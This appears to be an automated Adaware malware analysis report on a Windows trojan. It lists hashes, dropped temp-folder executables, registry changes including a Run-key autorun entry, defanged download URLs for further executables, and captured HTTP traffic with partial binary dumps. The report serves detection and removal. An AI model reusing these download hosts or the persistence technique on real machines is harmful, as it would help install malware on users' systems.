Trojan.GenericKD.4404831_a2029b6ffc – Adaware

HEUR:Trojan.Win32.Generic (Kaspersky), Trojan.GenericKD.4404831 (B) (Emsisoft), Trojan.GenericKD.4404831 (AdAware), mzpefinder_pcap_file.YR (Lavasoft MAS)Behaviour: Trojan

The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Summary

MD5: a2029b6ffc8fa95119c266c44e8bcc9d

SHA1: 862f13010676bfc6d96997a82450d96254f1ce5e

SHA256: 1fdd14816d281f56c3eb3ae15e35420e89a3717a0efef52b42752773b8ee3691

SSDeep: 49152:hMTwFS8hjz4bDnlrp/7/cO0AGvS5RCUGe:MRCU

Size: 2407936 bytes

File type: EXE

Platform: WIN32

Entropy: Not Packed

PEID: MicrosoftVisualC, NETexecutable, UPolyXv05_v6

Company: Search Module Ltd.

Created at: 2017-02-15 13:06:45

Analyzed on: Windows7 SP1 32-bit

Summary: Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):No processes have been created.The Trojan injects its code into the following process(es):

%original file name%.exe:3964
ShVCt4TyZb.exe:3668

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process %original file name%.exe:3964 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ShVCt4TyZb.exe (63001 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ShVCt4TyZbSXmx5SRn4r.exe (43686 bytes)

The process ShVCt4TyZb.exe:3668 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\cast.config (37 bytes)

Registry activity

The process %original file name%.exe:3964 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\CasterDate]
"date" = "14/03/2017"

[HKLM\SOFTWARE\Microsoft\Tracing\a2029b6ffc8fa95119c266c44e8bcc9d_RASMANCS]
"MaxFileSize" = "1048576"

[HKLM\SOFTWARE\Microsoft\Tracing\a2029b6ffc8fa95119c266c44e8bcc9d_RASAPI32]
"FileTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\a2029b6ffc8fa95119c266c44e8bcc9d_RASMANCS]
"ConsoleTracingMask" = "4294901760"

[HKCU\Software\Microsoft\wewewe]
"partner" = "tuto"
"Product" = "diskpower"

[HKLM\SOFTWARE\Microsoft\Tracing\a2029b6ffc8fa95119c266c44e8bcc9d_RASAPI32]
"EnableConsoleTracing" = "0"

[HKCU\Software\Microsoft\wewewe]
"channel" = "1"

[HKLM\SOFTWARE\Microsoft\Tracing\a2029b6ffc8fa95119c266c44e8bcc9d_RASAPI32]
"MaxFileSize" = "1048576"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Microsoft\Tracing\a2029b6ffc8fa95119c266c44e8bcc9d_RASAPI32]
"FileDirectory" = "%windir%\tracing"

[HKLM\SOFTWARE\Microsoft\Tracing\a2029b6ffc8fa95119c266c44e8bcc9d_RASMANCS]
"EnableConsoleTracing" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\a2029b6ffc8fa95119c266c44e8bcc9d_RASAPI32]
"EnableFileTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\a2029b6ffc8fa95119c266c44e8bcc9d_RASMANCS]
"EnableFileTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\a2029b6ffc8fa95119c266c44e8bcc9d_RASAPI32]
"ConsoleTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\a2029b6ffc8fa95119c266c44e8bcc9d_RASMANCS]
"FileDirectory" = "%windir%\tracing"
"FileTracingMask" = "4294901760"

The Trojan deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process ShVCt4TyZb.exe:3668 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Tracing\ShVCt4TyZb_RASAPI32]
"EnableConsoleTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\ShVCt4TyZb_RASMANCS]
"EnableConsoleTracing" = "0"
"FileTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\ShVCt4TyZb_RASAPI32]
"EnableFileTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\ShVCt4TyZb_RASMANCS]
"MaxFileSize" = "1048576"
"EnableFileTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\ShVCt4TyZb_RASAPI32]
"MaxFileSize" = "1048576"

[HKLM\SOFTWARE\Microsoft\Tracing\ShVCt4TyZb_RASMANCS]
"ConsoleTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\ShVCt4TyZb_RASAPI32]
"ConsoleTracingMask" = "4294901760"
"FileDirectory" = "%windir%\tracing"
"FileTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\ShVCt4TyZb_RASMANCS]
"FileDirectory" = "%windir%\tracing"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"26QROWG5JJ" = "C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ShVCt4TyZb.exe"

Dropped PE files

MD5	File path
6372344ac817305964e0b5776bf69137	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\ShVCt4TyZb.exe
28b8705b42a49a6a45270618d855059a	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\ShVCt4TyZbSXmx5SRn4r.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Terminate malicious process(es) (How to End a Process With the Task Manager):No processes have been created.
Delete the original Trojan file.
Delete or disinfect the following files created/modified by the Trojan:
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ShVCt4TyZb.exe (63001 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ShVCt4TyZbSXmx5SRn4r.exe (43686 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\cast.config (37 bytes)
Delete the following value(s) in the autorun key (How to Work with System Registry):
[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"26QROWG5JJ" = "C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ShVCt4TyZb.exe"
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

Company Name:
Product Name: 3UOB7KSTU
Product Version: 3.7.5.1
Legal Copyright: Copyright (c) 3916
Legal Trademarks:
Original Filename: Ik76tttZ.exe
Internal Name: Ik76tttZ.exe
File Version: 3.7.5.1
File Description: 3UOB7KST
Comments: 3UOB7
Language: English (United States)

Company Name: Product Name: 3UOB7KSTUProduct Version: 3.7.5.1Legal Copyright: Copyright (c) 3916Legal Trademarks: Original Filename: Ik76tttZ.exeInternal Name: Ik76tttZ.exeFile Version: 3.7.5.1File Description: 3UOB7KSTComments: 3UOB7Language: English (United States)

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	8192	2160032	2160128	4.16928	d1ba8e7345f00a75c3117e91df1cda34
.rsrc	2170880	246320	246784	4.77166	f5a33259a79e6e3c7acb742dcf36a83a
.reloc	2424832	12	512	0.070639	51d7087be747d77035adf1496d5d6560

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://asiasoftwaretools.com/get/4/remote.exe	94.23.252.37
hxxp://asiasoftwaretools.com/get/3/wizzcaster_v2.exe	94.23.252.37
hxxp://wizzcaster.com/api/v5/config	176.31.252.54
hxxp://wizzcaster.com/api/v5/link	176.31.252.54
teredo.ipv6.microsoft.com	157.56.120.207
dns.msftncsi.com	131.107.255.255

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /get/3/wizzcaster_v2.exe HTTP/1.1

Host: asiasoftwaretools.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Tue, 14 Mar 2017 13:29:13 GMT

Server: Apache/2.4.10 (Debian)

Cache-Control: no-cache

content-disposition: attachment; filename="wizzcaster_v2.exe"

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Transfer-Encoding: chunked

Content-Type: application/x-msdownload

e0000..MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...F..X.........."...0..$..........VB... ...`....@.. .......................`............@..................................B..O....`.......................@.......@............................................... ............... ..H............text...\"... ...$.................. ..`.rsrc........`.......&..............@..@.reloc.......@......................@..B................8B......H....... $..............,7...............................................(....(....*.r...p*..0..>.......r/..p(......(......!...%..|.o.........(.......(....(....(....*...0..C.......r...p(......~....o..........o......r...po.......#....o.....r...po..... .....#....o.....r...po.......'....o.....r...po.......(....o.....r!..po.....(.....(....o......!...%..,.o......(.....o.....r'..po.....(.....(....o......!...%..,.o......(.....o.....r/..p~....o...........o....t......o .....o!...("....(.........io#...o....*..0..k........(.....s$......(%........i.Yo&....,......jo'.....s(.........io)...&...,..o*....(.....o.........,..o*......*.......7..E..........Q^.......0..3............( ...rO..po,..........%...%.(.....o....&..&..*.........//............( ...rs..po,..........%...o....&*..(....(....%-.r...ps-...z.......%...o....&*..0..&.......(.....o/.....s0...%o1.....o2...o3....*..(4...*.~....-.r...p.....( ...o5...s6........~....*.~....*.......*.~....*..(7...*Vs....(8...t.........*......( ...r...po,..........%...o...

<<< skipped >>>

GET /get/4/remote.exe HTTP/1.1

Host: asiasoftwaretools.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Tue, 14 Mar 2017 13:29:13 GMT

Server: Apache/2.4.10 (Debian)

Cache-Control: no-cache

content-disposition: attachment; filename="remote.exe"

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Transfer-Encoding: chunked

Content-Type: application/x-msdownload

a0e00..MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...S..X.........."...0..2...........P... ...`....@.. .......................`............@.................................DP..O....`.......................@.......O............................................... ............... ..H............text....0... ...2.................. ..`.rsrc........`.......4..............@..@.reloc.......@......................@..B................xP......H....... $..............,7...............................................(....(....*.r...p*..0..>.......r/..p(......(......!...%..|.o.........(.......(....(....(....*...0..C.......r...p(......~....o..........o......r...po.......#....o.....r...po..... .....#....o.....r...po.......'....o.....r...po.......(....o.....r!..po.....(.....(....o......!...%..,.o......(.....o.....r'..po.....(.....(....o......!...%..,.o......(.....o.....r/..p~....o...........o....t......o .....o!...("....(.........io#...o....*..0..k........(.....s$......(%........i.Yo&....,......jo'.....s(.........io)...&...,..o*....(.....o.........,..o*......*.......7..E..........Q^.......0..3............( ...rO..po,..........%...%.(.....o....&..&..*.........//............( ...rs..po,..........%...o....&*..(....(....%-.r...ps-...z.......%...o....&*..0..&.......(.....o/.....s0...%o1.....o2...o3....*..(4...*.~....-.r...p.....( ...o5...s6........~....*.~....*.......*.~....*..(7...*Vs....(8...t.........*......( ...r...po,..........%...o...

<<< skipped >>>

POST /api/v5/config HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Host: wizzcaster.com

Content-Length: 38

Expect: 100-continue

Connection: Keep-Alive

HTTP/1.1 100 Continue

....

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

ShVCt4TyZb.exe_3668_rwx_002E2000_00002000:

0/4/ /$/